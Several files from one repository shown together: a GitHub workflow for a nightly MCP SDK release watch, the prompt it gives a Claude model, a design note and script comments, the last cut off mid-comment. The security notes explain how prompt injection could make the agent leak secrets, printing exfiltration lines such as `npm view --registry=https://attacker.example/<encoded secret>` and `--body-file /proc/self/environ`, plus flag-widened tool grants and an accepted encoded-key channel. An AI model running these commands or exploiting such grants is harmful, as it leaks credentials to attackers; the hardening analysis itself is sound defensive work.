# Nightly MCP SDK watch (#1063).
#
# Keeping up with SDK releases — the OAuth churn especially — had been a manual
# habit rather than a mechanism, which is what #1063 was filed to fix. This
# workflow is the mechanism, and it is the third of this repo's issue-filing
# sweeps, after the monthly `dependency-refresh.yml` (#2229) and the daily
# `dependabot-alerts.yml` (#2233):
#
# npm registry -> sweep -> issue -> Opus analysis comment -> maintainer PR -> v2/main
#
# THREE jobs, and every split is load-bearing:
#
# * `sweep` is deterministic and cheap. It compares the `@modelcontextprotocol/*`
# packages installed on `v2/main` against the registry and files one tracking
# issue per upstream that is behind. It runs every night and is a complete
# no-op when nothing moved.
# * `analyze` is the "have Opus read the SDK changes" half of #1063. It runs
# over the issues the sweep just created, plus any OPEN issue it already
# filed that still carries no analysis comment — the retry path for an
# `analyze` job that failed or timed out. What it never does is re-analyze an
# issue that already has one, which is what keeps it to a single analysis per
# SDK release rather than a near-identical comment every night for as long as
# the issue stays open.
# * `post` writes the comment, and exists as a SEPARATE JOB purely so the model
# never shares a token with it. GitHub scopes permissions per job, not per
# step, so while these two were one job the `issues: write` the posting needed
# was on the token handed to the model action as well. `analyze` is now
# `contents: read` and hands its text over as an artifact.
#
# ⚠️ Why this files an issue and not a PR, and why it is NOT the Copilot coding
# agent that #1063's comment sketched. Assigning `copilot-swe-agent` is possible
# here (it is in `suggestedActors`), but two things rule it out. Its run produces
# a PULL REQUEST — the artifact carrying no `Closes #N` and no board card that
# #2229/#2233/#2235 removed from this repo — and its model cannot be selected
# programmatically at all: assignment goes through `replaceActorsForAssignable`,
# which takes no model parameter, and absent an admin-configured picker the agent
# runs Sonnet. `claude-code-action` has neither problem: it is told to post a
# COMMENT and nothing else, and `--model` says exactly which model runs.
#
# ⚠️ A scheduled workflow only ever runs from the DEFAULT branch (`main`), while
# we ship from `v2/main`. So this file does nothing until a milestone merge
# carries it to `main`, and both jobs check `v2/main` out explicitly rather than
# reading the branch they were launched from — the same shape both sibling
# sweeps use.
#
# Tokens: `GITHUB_TOKEN` is sufficient for the sweep (`issues: write` to file,
# plus public registry and milestone reads). `ANTHROPIC_API_KEY` is an
# ORGANIZATION secret already available to this repo and is what `analyze` runs
# on. Board placement is deliberately not attempted by either job — that needs an
# org-project PAT no token in this org has — so a filed-but-unboarded issue is
# picked up by the next `/issue-triage` sweep, exactly as `dependency-refresh.yml`
# leaves it.

A new ${{ matrix.target.label }} release is out, and issue #${{ matrix.target.issue }}
in ${{ github.repository }} tracks upgrading to it. You are checked out on `v2/main`,
the branch this repo ships from.
Upstream: https://github.com/${{ matrix.target.repo }}
Installed here: ${{ matrix.target.from }}
New release: ${{ matrix.target.to }}
Work out what actually changed upstream between those two versions, and what — if
anything — this repository has to change to adopt it. Return your findings as the
`analysis` field of the structured output; a later step posts them to that issue.
How to go about it:
1. Read `upstream-release-notes.md` in the working directory. It holds the upstream's
30 most recent releases, newest first, already fetched for you — you have no shell
and no network, so it is the only source of release notes available. Cover every
version in the range above, not just the newest. If it says the notes could not be
fetched, or the range you need is not in it, say so in your write-up rather than
guessing.
2. Find how this repo actually uses the SDK. Nearly all of it is under `core/`
(`core/mcp/` for the client and transports, `core/auth/` for OAuth), with the
clients consuming it through the `@inspector/core` alias. `AGENTS.md` is the map.
3. Judge impact against THIS codebase, not in the abstract. A breaking change in an
API we never call is worth one line saying so; a quiet behavior change in one we
depend on is the finding that matters.
Write the comment as:
- **Verdict** — one sentence: is this a routine bump, or does it need real work?
- **What changed upstream** — the notable entries, with the version each landed in.
Say plainly if the release notes are thin or missing rather than inventing detail.
- **What it means here** — the specific files or areas that need attention, with
paths. Say "no changes needed" if that is the honest answer.
- **Risks and unknowns** — anything you could not determine. Do not paper over a gap.
Hard constraints:
- You do NOT post the comment yourself and have no tool that could. Return your write-up
as the `analysis` field of the structured output; a later, non-model step posts it
verbatim to issue #${{ matrix.target.issue }}. Do not add a footer — that step adds one.
- Markdown is expected in that field. Do not wrap it in a code fence.
- If you cannot determine what changed, say exactly that in the `analysis` field. A short
honest write-up is the correct output; a confident invented one is not.
# ⚠️ **The model is granted NOTHING that can write anywhere.** The tool
# grant is the only real control here — the prose constraints in the
# prompt are not, because this agent reads untrusted upstream text by
# design — and two earlier revisions of this list were both wrong:
#
# * `Bash(gh api:*)` against an `issues: write` token allowed
# arbitrary issue mutation (Copilot, round 1).
# * Pinning `Bash(gh issue comment <N>:*)` to this issue did NOT fix
# it, because the grant matches a command PREFIX and says nothing
# about the flags that follow: `gh issue comment <N> --body-file
# /proc/self/environ` matches, and this job's subprocess environment
# holds `ANTHROPIC_API_KEY` and `GITHUB_TOKEN`. A prompt injection
# could have published live credentials into a public issue
# (Copilot, round 2). A prefix grant on a command that accepts a
# file path is an arbitrary-file read with a publish attached.
#
# So the model no longer posts anything. It returns its write-up as
# structured output and the deterministic step below posts it — that
# step runs no model, takes no path, and is the only thing here holding
# a token that can write. `WebFetch` is gone with it: release notes come
# from `gh release view`, and an outbound fetch the model controls is
# the other end of the same exfiltration channel.
#
# `Bash(npm view:*)` is gone for the same class of reason as the third
# revision: `npm` accepts `--registry=<arbitrary URL>`, and a prefix
# grant constrains nothing after the prefix — so
# `npm view x --registry=https://attacker.example/<encoded secret>` was
# an outbound channel that no output scan can see (Copilot, round 4).
# The prompt is already handed both versions and never needed the
# registry. Twice now the flag surface, not the command name, has been
# the hole: **check what flags a command accepts before granting it.**
#
# The lesson finally applied: **the model gets NO Bash at all.** Every
# one of those holes was a command grant whose flag surface was wider
# than the grant looked, and a fourth would have been found eventually.
# Release notes are prefetched by the deterministic step above, so
# nothing here needs a shell.
#
# ⚠️ **`--tools` is the restriction; `--allowedTools` only
# pre-approves.** They are not interchangeable, and this repo already
# paid for that distinction once in `scripts/skill-eval.mjs` — a tool
# some other settings file permits stays reachable if only
# `--allowedTools` names it. So `--tools` enumerates what is AVAILABLE
# (three read-only tools), `--allowedTools` keeps those three from
# needing a prompt no headless run can answer, and `--disallowedTools`
# denies the rest by name as a third layer.
#
# ⚠️ **A RESIDUAL CHANNEL REMAINS, AND IT IS ACCEPTED ON PURPOSE.**
# `claude-code-action` copies the action's environment into the model's,
# so `ANTHROPIC_API_KEY` is readable by a `Read` this job genuinely
# needs, and `analysis` is model-controlled text this workflow
# publishes. The verbatim-credential scan catches the naive shape only;
# an encoded value passes it.
#
# What makes that acceptable is WHAT THIS JOB READS, not the controls
# around it. Both upstreams — `modelcontextprotocol/typescript-sdk` and
# `modelcontextprotocol/ext-apps` — are in this repository's own org, so
# their release notes are first-party content, and anyone able to plant
# an injection in them already holds release rights here. Closing the
# channel properly means workload identity federation instead of a
# long-lived key (`anthropic_federation_rule_id` + `id-token: write`);
# that is org-admin work on the Anthropic organization and is
# disproportionate against our own changelogs. See #2269, closed as not
# planned, for the full reasoning.
#
# ⚠️ **Re-open that judgement if the inputs change.** Point this at an
# upstream outside the org, or at third-party content, and federation —
# or at least a dedicated CI-scoped key with a spend cap — becomes the
# next step rather than another grant to narrow.

The board write needs `organization projects: write`, which `GITHUB_TOKEN` cannot have — hence "only when it can", and hence a filed-but-unboarded issue is a normal outcome rather than a failure. **Todo, not Incoming**, when the security sweep does place it: arriving through this pipeline *is* the approval. **`High` is a standing override** of the [priority rubric](.claude/skills/issue-triage/SKILL.md), which would otherwise score a routine bump Medium; the issue body records the override so it does not read as a mis-score. ⚠️ A milestone is a precondition for placing a card — `Incoming` ⇔ no milestone — so the security sweep leaves an issue **unboarded** rather than parked at Todo when no dated milestone is open. It picks the open milestone with the nearest **due date**, ignoring undated buckets; the monthly sweep's own selection does not yet filter those out (raised on #2239), so don't read this as a guarantee both scripts already implement.
### The SDK watch is the third sweep
**`.github/workflows/sdk-watch.yml` → `scripts/sdk-watch.mjs` runs nightly (#1063) and files one issue per MCP SDK release we are behind**, labeled `v2` + `chore` + `dependencies`. It is not a Dependabot replacement — it exists because SDK churn, OAuth especially, was being tracked by habit rather than by mechanism — but it obeys the same rule as the two above: **it files an issue, never a PR.**
- **Two upstreams, two issues.** `client`/`core`/`server`/`server-legacy` ship from `modelcontextprotocol/typescript-sdk` in lockstep and share one issue; `ext-apps` ships from its own repo and gets its own. A fifth `@modelcontextprotocol/*` package added to the root manifest and not added to `SDK_GROUPS` **fails the sweep loudly** rather than going unwatched — that guard is the point, since a hardcoded group table is otherwise a silent blind spot.
- **It compares the INSTALLED version, not the declared range.** The four SDK packages are pinned exactly, so the two agree for them; `ext-apps` is a caret range whose lockfile already resolves higher, and comparing the declared string would file an issue for a bump `npm install` has already taken.
- **The target is the LOWEST `latest` across a group — the version the whole group has reached — not the highest.** npm publishes a lockstep release one package at a time, so a sweep landing mid-publish sees one package ahead of its three siblings. Targeting the highest would name a version three of them do not have *and* write a marker that suppresses the real filing once the publication completes, so the release would never be tracked at all. Taking the minimum keeps the issue actionable and lets the completed release file its own.
- **It never boards, like the monthly sweep** — no `PROJECT_TOKEN` exists in this org — so the issue arrives labeled and milestoned and `/issue-triage` places it.
- **It never closes an issue either.** A further release files its own issue and leaves a **supersession comment** on the older one; closing is a maintainer act, since the card may already have moved. An issue closed for the same target keeps suppressing it, so a maintainer's "not planned" is not re-argued nightly.
**The analysis half runs Claude, not Copilot, and that is deliberate.** #1063 sketched "a copilot agent running Opus"; neither half of that is reachable from a workflow. Assigning `copilot-swe-agent` produces a **pull request** — the artifact this whole section exists to remove — and its model cannot be selected programmatically at all (`replaceActorsForAssignable` takes no model parameter; absent an admin-configured picker it runs Sonnet). So the `analyze` job uses `anthropics/claude-code-action` with `--model claude-opus-5`, which is told to post **one comment** and is denied every file-writing tool. It runs on `ANTHROPIC_API_KEY`, an **organization** secret already available to this repo, over the issues the sweep just created plus any **open** issue it already filed that still carries no analysis comment (the retry path below). What it never re-analyzes is an issue that already has one, or one that has been closed — which is what keeps it to a single analysis per release instead of a near-identical comment every night.
- **"An issue exists" and "the issue was analyzed" are different claims**, and the sweep must not equate them. The posting step stamps `ANALYSIS_MARKER` on its comment; a sweep that finds an **open** existing issue for the current target but no such comment **re-queues it**, so a failed or timed-out `analyze` job is retried rather than silently never revisited. ⚠️ **Open only** — suppressing and re-queuing are different questions about the same match, and a closed issue must keep suppressing without being handed a fresh comment every night. That marker is duplicated in the workflow because the posting step is shell — a test asserts the two strings match, since drift would make every issue read as unanalyzed forever.
⚠️ **Upstream release notes are untrusted input to that job, and the model is granted nothing that can write anywhere.** The tool whitelist is the only real control — the prompt's prose constraints are not — and two revisions of it were wrong before this one landed:
- `Bash(gh api:*)` against an `issues: write` token allowed arbitrary issue mutation.
- Pinning `Bash(gh issue comment <N>:*)` to the tracked issue did **not** fix it, because a `Bash(...)` grant matches a command **prefix** and says nothing about the flags that follow. `gh issue comment <N> --body-file /proc/self/environ` matches that grant, and the job's subprocess environment holds `ANTHROPIC_API_KEY` and `GITHUB_TOKEN` — so a prompt injection could have published live credentials into a public issue.
- `Bash(npm view:*)` was the same hole pointing outward: `npm` accepts `--registry=<arbitrary URL>`, so `npm view x --registry=https://attacker.example/<encoded secret>` matched the grant and exfiltrated to a host of the attacker's choosing, where no output scan can see it.
**The general rule, since it caught us twice: a prefix grant constrains the command, never its flags. Check what flags a command accepts — especially any that take a path or a URL — before granting it.** A tool test in `sdk-watch.test.mjs` pins the whitelist against `npm`, `curl`, `wget`, `WebFetch` and `WebSearch` so this cannot regress quietly.
⚠️ **Permissions are scoped per JOB, not per step**, so a job that runs a model cannot also hold the write scope its posting step needs — the token reaches the model regardless of how carefully the step is written. The workflow is therefore **three** jobs: `sweep` (`issues: write`, files the issues), `analyze` (**`contents: read`**, runs the model), and `post` (`issues: write`, writes the comment). **The invariant is "no model runs in a write-capable job", not "only one job can write"** — two of the three write, and neither runs a model. `analyze` hands its text to `post` as an **artifact**, not a job output, because matrix job outputs collide — every leg writes the same key — which would post one group's write-up onto the other group's issue. A test asserts `analyze`'s permissions are exactly `contents: read` and that it contains no posting step.
⚠️ **`--tools` restricts what is available; `--allowedTools` only pre-approves.** They are not interchangeable and the difference is a security boundary, not a nicety — a tool some other settings file or plugin already permits stays reachable when only `--allowedTools` names it. This repo learned that once in `scripts/skill-eval.mjs` and then repeated the mistake here. The analysis job now enumerates availability with `--tools "Read,Grep,Glob"`, pre-approves the same three so no headless run stalls on a prompt, and denies the rest by name as a third layer.
⚠️ **The model gets no `Bash` at all**, and that is the resolution of the whole class above rather than a fourth patch to it. Every command grant turned out to have a wider flag surface than the grant looked, and a `Bash(...)` rule can match a **compound** command (`gh release view … && curl …`) besides. So the upstream release notes are **prefetched by a deterministic step** into `upstream-release-notes.md` and the model only reads files. When a grant keeps needing narrowing, take the capability away instead.
⚠️ **A marker is not evidence — this repo is public.** Anyone can open an issue or write a comment whose body starts with any string, and every marker here drives automation. Untrusted, an outsider could file (and close) an issue carrying the current target's marker to suppress the real upgrade issue indefinitely, post `ANALYSIS_MARKER` to suppress analysis retries forever, or forge a supersession note so the genuine one is never posted. So the sweep trusts a marker **only** on something the automation wrote: an issue must be authored by `github-actions` *and* carry the `chore` + `dependencies` labels an outsider cannot set, and a comment must come from `github-actions[bot]`. Marker versions are validated with `semver.valid` too, since a malformed target would otherwise throw in `semver.lt` and fail the sweep every run.
So the model returns its write-up as structured output (`--json-schema`) and never posts anything itself. The write-up crosses **two** boundaries before it becomes a comment, and each one is a property to preserve:
1. **Out of the model's job.** A step in `analyze` scans the text and, only if it passes, writes `analysis.md` and uploads it as an artifact. ⚠️ **The scan gates the write, in the same step, and the upload is gated on that file existing** — scanning later would be no protection at all, since this repo is public and an artifact holding a verbatim credential is downloadable for as long as it is retained. Refusing to *post* text that has already left the job refuses nothing.
2. **Into the comment.** `post` downloads the artifact, scans it again (defense in depth — the artifact is the boundary, so each side checks what it handles), and streams it to `gh issue comment --body-file -` over **stdin**, so nothing in the body can be read as a flag or a path.
`WebFetch` is denied and the model has no shell, so it controls no outbound channel; release notes are prefetched with `gh api` by a deterministic step. **Keep every one of those properties when editing this job**, and note that a test pins the scan-before-upload ordering specifically, because ordering is the whole control.
⚠️ **One channel is still open, and it is accepted deliberately rather than closed.** `claude-code-action` copies the action's environment into the model's, so `ANTHROPIC_API_KEY` is readable by a `Read` the analysis genuinely needs, and `analysis` is model-controlled text this workflow publishes. The verbatim-credential scan catches only the naive shape; an encoded value passes it. **What makes that acceptable is the threat model, not the controls: both upstreams this sweep reads (`modelcontextprotocol/typescript-sdk`, `modelcontextprotocol/ext-apps`) are in this repository's own org**, so the release notes are first-party content, and anyone able to plant an injection in them already holds release rights here. Closing it properly means workload identity federation instead of a long-lived key (`anthropic_federation_rule_id` + `id-token: write`) — possible, but org-admin work on the Anthropic organization, and disproportionate against our own changelogs (#2269, closed as not planned, records the full reasoning).
**That assessment is what to re-open if the inputs change.** Point the analysis at an upstream outside this org, or feed it third-party content, and the trade changes — at which point federation, or a dedicated CI-scoped key with a spend cap, is the next step rather than another grant to narrow.

// Nightly MCP SDK watch (#1063).
//
// Staying abreast of SDK releases had been a manual habit rather than a
// mechanism, which is what #1063 was filed to fix. This script is the
// mechanism: once a night it compares the `@modelcontextprotocol/*` packages
// this repo installs against what the registry publishes, and files ONE
// tracking issue per upstream that is behind.
//
// npm registry -> this sweep -> issue (labeled, milestoned) -> maintainer PR -> v2/main
//
// It is the third instance of a shape this repo already runs twice
// (`dependency-refresh.mjs`, `dependabot-alerts.mjs`) and it deliberately files
// an ISSUE rather than opening a PR, for the reason #2229 exists: a
// bot-authored PR carries no `Closes #N` and no board card, so the work is
// invisible to the project board.
//
// Four things shape the design, each verified against this repo before it was
// written:
//
// 1. **Two upstreams, not one.** `client`/`core`/`server`/`server-legacy` all
// ship from `modelcontextprotocol/typescript-sdk` and release in lockstep;
// `ext-apps` ships from its own repo on its own cadence. Treating them as
// one group would file an issue naming a version that only some of the
// packages have, so `SDK_GROUPS` keeps them separate and each gets its own
// issue and its own marker.
// 2. **Compare the INSTALLED version, not the declared range.** #1063 phrases
// the check as "is the current version > than the one we have in our
// package.json", which is exact today only because the four SDK packages
// are pinned exactly. `ext-apps` is a caret range (`^1.7.4`) whose lockfile
// already resolves higher, so comparing against the declared string would
// file an issue for a bump `npm install` has already taken. The declared
// range is still reported — it is what says whether the fix is a manifest
// edit or a lockfile refresh — but the comparison is against the lockfile.
// 3. **A new SDK package must not be watched silently by nobody.** The group
// table is a hardcoded list, so a fifth `@modelcontextprotocol/*` package
// added to the root manifest would never be checked and nothing would say
// so. `assertEveryPackageWatched` turns that into a loud failure instead —
// the sweep goes red rather than reporting a clean night over a package it
// never looked at.
// 4. **No board write.** Both siblings want an org-project PAT for that, and
// `PROJECT_TOKEN` is set nowhere in this org — the only org secret
// available to this repo is `ANTHROPIC_API_KEY`. So rather than carry ~90
// lines of placement code that cannot run (and a second copy of board
// #28's node ids, which AGENTS.md explicitly calls worse than one), this
// follows `dependency-refresh.mjs`: the issue is filed labeled and
// milestoned, and the next `/issue-triage` sweep boards it. That is the
// documented normal outcome, not a failure.
//
// ⚠️ A scheduled workflow only ever runs from the DEFAULT branch (`main`),
// while we ship from `v2/main`. So the workflow checks `v2/main` out explicitly
// and this script reads the manifests from the working tree — the same shape
// both sibling sweeps use, and the reason `TARGET_BRANCH` is named in the issue
// body rather than left for the reader to assume.
//
// Idempotency key is the marker comment at the top of each issue body, which
// names the group and the target version. A second run the same night is a
// complete no-op. A run after a FURTHER release files a new issue for the new
// target and leaves a supersession comment on the old one — it never closes it,
// because closing is a maintainer act and the board card may already have moved.
//
// The pure halves are tested directly and `main()` through an injected spawn
// function, the same way both siblings do it; `workflow_dispatch` is a
// production trigger, not a test.

* Every comment body on an issue, as WHOLE strings.

* checks are `startsWith` — so a maintainer who quoted `<!-- sdk-watch:analysis

* the sweep that issue was analyzed, and the retry would never fire again
* (Copilot). The same held for the supersession marker.
*
* `--slurp` returns one array per page, hence the `flat()`. It cannot be
* combined with `--jq` — `gh` rejects the pair outright — which is exactly why
* the parsing moved here.
*
* ⚠️ It keeps the AUTHOR, not just the body. Reducing a comment to its text
* discards the only thing that makes its marker trustworthy — this repo is
* public, so any commenter could otherwise forge one (Copilot). See
* `AUTOMATION_LOGIN`.
